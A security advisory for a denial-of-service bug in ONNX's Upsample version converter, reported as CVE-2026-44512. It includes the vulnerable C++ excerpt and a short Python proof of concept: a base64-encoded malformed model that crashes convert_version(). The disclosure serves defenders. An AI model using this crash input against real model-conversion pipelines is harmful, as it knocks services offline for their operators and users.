GitHub Advisoryadvisory · PyPI

GHSA-hwpq-hmq9-wj77 ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

MEDIUM Published 2026-07-07 Modified 2026-07-07 Official page ↗
Aliases
CVE-2026-44512
Ecosystem
PyPI
Packages
onnx
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weaknesses
CWE-476
Reviewed
2026-07-07

Affected packages

• PyPI onnx: >= 1.9.0, < 1.22.0 → fixed in 1.22.0

Description

Summary Null pointer dereference (SIGSEGV) in `Upsample_6_7::adapt_upsample_6_7()` (`onnx/version_converter/adapters/upsample_6_7.h:31`) when `convert_version()` processes a model with an Upsample node that has zero inputs. The adapter accesses `node->inputs()[0]->sizes()` without checking input count. 107-byte PoC crashes on Release build. This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator. Details The Upsample 6→7 adapter validates attributes but not inputs: ```cpp // upsample_6_7.h:20-33 void adapt_upsample_6_7(..., Node* node) const { ONNX_ASSERTM( node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol), "...") // Attribute check PASSES auto width_scale = node->f(width_scale_symbol); auto height_scale = node->f(height_scale_symbol); auto input_shape = node->inputs()[0]->sizes(); // ^^^^^^^^^^^^^^^^^^^^ // OOB when inputs().size() == 0 → SIGSEGV } ``` The PoC has an Upsample node at opset 6 with the required `width_scale` and `height_scale` attributes but zero inputs. The attribute assertions pass, then `node->inputs()[0]` on an empty `ArrayRef`: • Release builds (`NDEBUG`): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV • Debug builds: `assert(Index < Length)` at `array_ref.h:159` → SIGABRT An Upsample node with zero inputs passes `graphProtoToGraph()` because the import code only resolves input names present in the protobuf. PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY=" model = onnx.load_from_string(base64.b64decode(poc_b64)) CRASHES — Upsample_6_7 adapter dereferences empty inputs array version_converter.convert_version(model, 7) # SIGSEGV ``` 107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build). Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV). This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Related

Alias · CVE (1)

  • CVE-2026-44512 Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. vulnerability

Weakness · CWE (1)

  • CWE-476 NULL Pointer Dereference weakness

References